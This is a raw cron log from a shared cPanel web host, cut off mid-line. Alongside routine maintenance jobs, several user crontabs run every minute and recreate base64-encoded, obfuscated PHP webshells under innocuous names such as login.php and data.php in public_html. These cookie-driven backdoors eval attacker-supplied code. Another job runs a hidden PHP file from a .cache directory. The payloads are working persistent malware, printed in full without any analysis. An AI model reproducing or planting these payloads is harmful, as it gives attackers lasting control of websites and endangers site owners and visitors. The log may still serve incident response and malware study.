Apr 19 05:20:02 medusa CROND[32265]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 05:20:02 medusa CROND[32271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:20:02 medusa CROND[32276]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:20:02 medusa CROND[32278]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:20:02 medusa CROND[32282]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:20:02 medusa CROND[32273]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 05:20:02 medusa CROND[32283]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:20:02 medusa CROND[32284]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:20:02 medusa CROND[32288]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:20:02 medusa CROND[32279]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:20:02 medusa CROND[32292]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:20:02 medusa CROND[32281]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 05:20:02 medusa CROND[32296]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:20:02 medusa CROND[32297]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:20:02 medusa CROND[32285]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 05:20:02 medusa CROND[32290]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:20:02 medusa CROND[32300]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:20:02 medusa CROND[32299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:20:02 medusa CROND[32303]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:20:02 medusa CROND[32295]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:20:02 medusa CROND[32331]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 05:21:01 medusa CROND[23260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:21:01 medusa CROND[23305]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:21:01 medusa CROND[23307]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:21:01 medusa CROND[23306]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:21:01 medusa CROND[23308]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:21:01 medusa CROND[23309]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:21:01 medusa CROND[23319]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:21:01 medusa CROND[23318]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:21:01 medusa CROND[23321]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:21:01 medusa CROND[23320]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:21:01 medusa CROND[23324]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:21:01 medusa CROND[23322]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:21:01 medusa CROND[23325]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:21:01 medusa CROND[23330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:22:01 medusa CROND[12106]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:22:01 medusa CROND[12108]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:22:01 medusa CROND[12107]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:22:01 medusa CROND[12109]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:22:01 medusa CROND[12110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:22:01 medusa CROND[12111]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 